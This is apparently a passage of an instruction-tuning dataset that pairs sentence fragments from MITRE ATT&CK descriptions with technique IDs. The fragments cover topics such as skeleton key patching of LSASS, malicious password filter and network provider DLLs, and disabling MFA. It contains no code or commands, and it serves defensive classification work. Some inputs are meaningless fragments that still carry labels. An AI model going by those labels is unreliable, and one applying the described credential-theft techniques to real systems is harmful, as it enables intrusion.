"PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Management.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Management. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI).", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Sixdub PowerPick Jan 2016)(Citation:", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Sixdub PowerPick Jan 2016)(Citation: ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014) ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, steal, or download exploits that can be used during targeting.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, steal, or download exploits that can be used during targeting. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation:", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wired SandCat Oct 2019)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wired SandCat Oct 2019) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is usually a delay between when an exploit is discovered and when it is made public.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is usually a delay between when an exploit is discovered and when it is made public. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "output": "T1588.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). ### Response: T1588.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The modification includes a specific password which is implanted in the operating system image via the patch.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The modification includes a specific password which is implanted in the operating system image via the patch. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon authentication attempts, the inserted code will first check to see if the user input is the password.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon authentication attempts, the inserted code will first check to see if the user input is the password. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If so, access is granted.", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If so, access is granted. ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", "output": "T1556.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) ### Response: T1556.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system.", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller).", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton) ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process.", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC.", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows password filters are password policy enforcement mechanisms for both domain and local accounts. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filters are implemented as DLLs containing a method to validate potential passwords against password policies.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filters are implemented as DLLs containing a method to validate potential passwords against password policies. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any potential changes cannot take effect until every registered filter acknowledges validation.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any potential changes cannot take effect until every registered filter acknowledges validation. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform proper validation, filters must receive plain-text credentials from the LSA.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform proper validation, filters must receive plain-text credentials from the LSA. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013) ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be maintained in a number of ways.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be maintained in a number of ways. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation:", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure AD Hybrid Identity):\n\n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure AD Hybrid Identity):\n\n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the 